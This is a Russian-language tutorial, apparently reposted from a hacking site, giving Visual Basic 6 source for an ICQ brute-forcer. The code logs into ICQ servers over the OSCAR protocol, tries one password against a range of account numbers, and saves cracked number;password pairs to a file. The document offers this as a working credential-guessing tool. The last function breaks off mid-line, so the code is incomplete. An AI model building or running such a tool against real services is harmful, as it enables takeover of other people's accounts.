Здорово всем, кто это читает! Вот подумал я и надумал, что стоит рассказать о такой штуке как ICQ брутфорс. Урок писал не я, а взял с одного сайта. Вы наверно понимаете, что скорость перебора будет достаточно низкой. Писать будем на Visual Basic 6.0.Запускаем VB, создаем стандартный проект. В данном примере автор предлагает использовать контрол вот отсюда (http://oxegengroup.ucoz.ru/VBSocket1A.rar). Крепим контрол к проекту. И размещаем элементы управления как на картинке:

И вставляем вот этот код:
Option Explicit                 'отключаем автодекларацию переменных
Const BRUTE_INTERVAL = 2000     'таймаут между попытками перебора пароля в мс
Const ICQ_PORT = 5190           'icq порт
Const SRV_COUNT = 6             'Количество ICQ серверов
Dim Icq_SRV(1 To SRV_COUNT) As String   'Массив ICQ серверов
Dim Current_SRV As Byte         'Хранит номер текущего ICQ сервера из массива ICQ_SRV
Dim good, bad As Long           'Удалос подобрать/неудалос подобрать пасс

' // это для работы сборщика пакетов //
Dim cli As Boolean              'Флаг, буфер сборки пуст – false ,буфер заполняется - true
Dim Flen, Mlen As Long          'Длина буфера/сколько уже собрано
Dim MainBuff As String          'Сам буфер

Private Sub Form_Load()                 'загрузка формы
    Dim buff As String                  'Буфер для чтения файла
    Timer.Enabled = False               'отключаем таймер
    Timer.Interval = BRUTE_INTERVAL     'задаём интервал таймера
    Command1.Enabled = True             'Включаем кнопочку Стоп
    Command2.Enabled = False            'Выключаем кнопочку Старт
    'Загрузим сохранённые настройкм
    If Dir(App.Path & "\settings.txt") <> "" Then       'Если файл с настройками есть
        Open App.Path & "\settings.txt" For Input As #1 'Открываем его
            Line Input #1, buff                         'Читаем строку
            Text2 = buff                                'Пишем в TextBox её содержимое
            Line Input #1, buff                         'Читаем строку
            Text3 = buff                                'Пишем в TextBox её содержимое
            Line Input #1, buff                         'Читаем строку
            Text4 = buff                                'Пишем в TextBox её содержимое
        Close #1                                        'Закрываем файл
    End If                                              'Конец условия
    ' // заполним массив ICQ серверов //
    Icq_SRV(1) = "login.icq.com"
    Icq_SRV(2) = "login.oscar.aol.com"
    Icq_SRV(3) = "ibucp-vip-d.blue.aol.com"
    Icq_SRV(4) = "ibucp-vip-m.blue.aol.com"
    Icq_SRV(5) = "bucp2-vip-m.blue.aol.com"
    Icq_SRV(6) = "bucp-m08.blue.aol.com"
    Current_SRV = 1                                     'Установим номер текущего сервера - 1
    good = 0                                            'Обнулим счётчик GOOD-UIN'ов
    bad = 0                                             'Обнулим счётчик BAD-UIN'ов
End Sub
Private Sub Command1_Click()                            'Кнопка Старт
    If Val(Text2) >= Val(Text3) Then Exit Sub           'Если ОТ меньше чем ДО то едем далее
    Command1.Enabled = False                            'вырубаем кнопку старт
    Command2.Enabled = True                             'Врубаем кнопку стоп
    Open App.Path & "\good.txt" For Append As #1        'открываем файл №1 для записи туда good
    Open App.Path & "\bad.txt" For Append As #2         'открываем файл №2 для записи туда bad
    Timer.Enabled = True                                'Включаем таймер
End Sub
Private Sub Timer_Timer()                               'Таймерчег
    socket.CloseConnection                              'закрываем соединение
    socket.Connect Icq_SRV(Current_SRV), ICQ_PORT       'коннектимся к Autorization-server
    Current_SRV = Current_SRV + 1                       'меняем сервер
    If Current_SRV = SRV_COUNT + 1 Then Current_SRV = 1 'проверим, ес сервера закончилис, то по новой
End Sub
Private Sub Command2_Click()                            'кнопка Стоп
    Timer.Enabled = False                               'Вырубаем таймер
    Text1 = ""                                          'Чистим Text1
    good = 0                                            'обнуляем гуд
    bad = 0                                             'обнуляем бад
    Close #1                                            'закрываем файл с гуд
    Close #2                                            'закрываем файл с бад
    Command1.Enabled = True                             'врубаем кнопку старт
    Command2.Enabled = False                            'вырубаем кнопку стоп
End Sub
Private Sub socket_DataArrival(data As String)          'Если к нам пришли данные
    If cli = False Then                                 'Если буфер пуст
        Flen = GetFlapLen(data)                         'определим длину флэпа
        Mlen = Flen + 6                                 'добавляем к длине длину 6-байтового заголовка флэпа
        cli = True                                      'включаем сбор пакетов
        MainBuff = data                                 'записываем первую порцию байт в буфер
    Else                                                'если сбор включен
        MainBuff = MainBuff + data                      'добавим пакет к буферу
        Mlen = Mlen + Len(data)                         'увеличим длину собранного
    End If
'проверим, не пора ли прекратить сбор пакетов
If Mlen = Flen + 6 Then                                 'Если принято столько сколько должно быть(весь флэп-пакет)
    cli = False                                         'выключаем сборщег
    Flen = 0                                            'обнуляем счётчег длины
    Do                                                  'прочекаем принятое на предмет флэпов (их там многа может быть)
    Flen = GetFlapLen(MainBuff) + 6                     'смотрим длину
    FLAPPER (Mid$(MainBuff, 1, Flen))                   'отправляем флэп во флаппер(процедура обработки)
    MainBuff = Mid$(MainBuff, Flen + 1, Len(MainBuff) - Flen) 'отсекаем от буфера отправленный косочег
    Loop Until Len(MainBuff) = 0                        'делаем пока буфер не опустошим
    MainBuff = ""                                       ' на всёкий случай xD
End If
End Sub
Private Sub FLAPPER(fData As String)                    'Обработчег FLAP-пакетов
Dim snac, pack, UIN, PASS As String                     'строковые переменные
    If GetByte(fData, 2) = 1 Then                       'если канал первый
        fData = GetFlapData(fData)                      'Получаем содержимое флэпа
        If str2hex(fData) = "00000001" Then             'если пришол hello-пакет
            PASS = Text4                                'Запоминаем текущий PASS
            UIN = Text2                                 'Запоминаем текущий UIN
            snac = hex2str("00000001")                  'Формируем SNAC логина
            snac = snac + hex2str("000100") + Chr(Len(UIN)) + UIN 'TLV01
            snac = snac + hex2str("000200") + Chr(Len(CalcPass(PASS))) + CalcPass(PASS) 'TLV02
            snac = snac + hex2str("0003008") & "ICQbasic"       'клиент
            snac = snac + hex2str("00160002010A")               '16й TLV
            snac = snac + hex2str("001700020018")               'нижняя граница версии протокола
            snac = snac + hex2str("001800020025")               'верхняя граница версии протокола
            snac = snac + hex2str("001900020001")               '
            snac = snac + hex2str("001A00020E90")               '
            snac = snac + hex2str("0014000400000055")           '
            snac = snac + hex2str("000F0002656E")               'язык (EN)
            snac = snac + hex2str("000E00027573")               'местонахождение(US)
            pack = hex2str("2A01") + Word2Str(Rnd * 32767) + Word2Str(Len(snac)) + snac 'формируем FLAP логина
            socket.SendData (pack)                              'Отсылаем FLAP логина
        End If
    End If
    If GetByte(fData, 2) = 4 Then                       'Если канал чётвёртый
         fData = GetFlapData(fData)                     'Получаем содержимое флэпа
         If GetByte(fData, 2) = &H8E Then               'Ес удачно подобради
            good = good + 1                             'добавляем good
            Print #1, Text2 & ";" & Text4               'пишкм в good.txt этот uin;pass
            incUIN                                      'ставим в текствокс следующий нумер
         End If
         If GetByte(fData, 2) = 1 Then                  'Если серв постал нас с таким uin;pass
            bad = bad + 1                               'Прибавляем bad
            Print #2, Text2 & ";" & Text4               'пишем в bad.txt этот uin;pass
            incUIN                                      'ставим в текстбокс следующий нум
         End If
    End If

    'Пишем статистику в Text1
    Text1 = "Server: " & Icq_SRV(Current_SRV) & vbCrLf & _
            "good: " & good & vbCrLf & _
            "bad: " & bad
End Sub
Private Sub incUIN()                                    'увеличивает UIN на 1
    Text2 = Val(Text2) + 1
    If Text2 = Text3 Then                               'если пора остановится
        Command2_Click                                  'Эмулируем нажатие на стоп
        MsgBox "Брут закончен. Удалось подобрать " & good & " номеров." 'Сообщение
    End If
End Sub
Private Sub Command3_Click()                            'Кнопка Exit
    Form_Unload (0)                                     'Эмулируем закрытие
End Sub
Private Sub Form_Unload(Cancel As Integer)              'Закрытие
    Command2_Click                                      'эмулируем нажатие на Стоп
    Open App.Path & "\settings.txt" For Output As #1    'Пишем настройки в файл settings.txt
        Print #1, Text2
        Print #1, Text3
        Print #1, Text4
    Close #1
    End                                                 'Закрываемся
End Sub

'--------------------- вспомогательные функции ---------------
Private Function hex2str(ByVal data As String) As String        'Переводит набор типа "00FF3E" в строку
    Dim i As Integer
    For i = 1 To Len(data) Step 2
        hex2str = hex2str & Chr(Val("&H" + Mid$(data, i, 2)))
    Next i
End Function
Private Function str2hex(ByVal Txt As String) As String         'Переводит байты строки в набор типа "АА3А00"
    Dim i As Integer
    Dim buff As String
    For i = 1 To Len(Txt)
        buff = Hex(GetByte(Txt, i))
        If Len(buff) = 1 Then buff = "0" & buff
        str2hex = str2hex & buff
    Next i
End Function
Private Function GetFlapLen(flapdata As String) As Long         'Возвращает длину FLAP-пакета
    Dim HexBuff As String
    Dim byte1 As String * 2
    Dim byte2 As String * 2
    If GetByte(flapdata, 5) <> 0 Then byte1 = Hex(GetByte(flapdata, 5)) Else byte1 = "00"
    If GetByte(flapdata, 6) <> 0 Then byte2 = Hex(GetByte(flapdata, 6)) Else byte2 = "00"
    HexBuff = "&H" & byte1 & byte2
    GetFlapLen = Val(HexBuff)
End Function
Private Function GetByte(Txt As String, num As Integer) As Byte 'возвращает значение какого-либа байта какой-либо строки
    GetByte = Asc(Mid$(Txt, num, 1))
End Function
Private Function GetFlapData(flapdata As String) As String      'Возврящает содержимое FLAP-пакета (отрезает заголовок)
    GetFlapData = Mid$(flapdata, 7, Len(flapdata) - 6)
End Function
Private Function CalcPass(ByVal PASS As String) As String       'Делает XOR - пароль
    Dim passarr(1 To 16) As Byte
    Dim i As Byte
    passarr(1) = &HF3
    passarr(2) = &H26
    passarr(3) = &H81
    passarr(4) = &HC4
    passarr(5) = &H39
    passarr(6) = &H86
    passarr(7) = &HDB
    passarr(8) = &H92
    passarr(9) = &H71
    passarr(10) = &HA3
    passarr(11) = &HB9
    passarr(12) = &HE6
    passarr(13) = &H53
    passarr(14) = &H7A
    passarr(15) = &H95
    passarr(16) = &H7C
    CalcPass = ""
    For i = 1 To Len(PASS)
        CalcPass = CalcPass & Chr(Asc(Mid$(PASS, i, 1)) Xor passarr(i))
    Next i
End Function
Private Function GetHEX(ByVal Txt As String) As String 'Делает из байтов строки запись вида "00 АА А3 FF"
    Dim i As Integer
    Dim buff As String
    For i = 1 To Len(Txt)
        buff = Hex(GetByte(Txt, i))
        If Len(buff) = 1 Then buff = "0" & buff
        GetHEX = GetHEX & buff & " "
    Next i
End Function
Private Function Word2Str(data As Long) As String       'Переводит 2-байтовую переменную в запись типа "0001"
    Dim i As Integer
    Dim buff As String
    buff = Hex(data)
    If Len(buff) = 1 Then buff = "000" + buff
    If Len(buff) = 2 Then buff = "00" + buff
    If Len(buff) = 3 Then buff = "0" + buff
    Word2Str = Chr(Val("&
End function

Категории каталога

Форма входа

Поиск

Друзья сайта

Наш опрос

Статистика

Каталог статей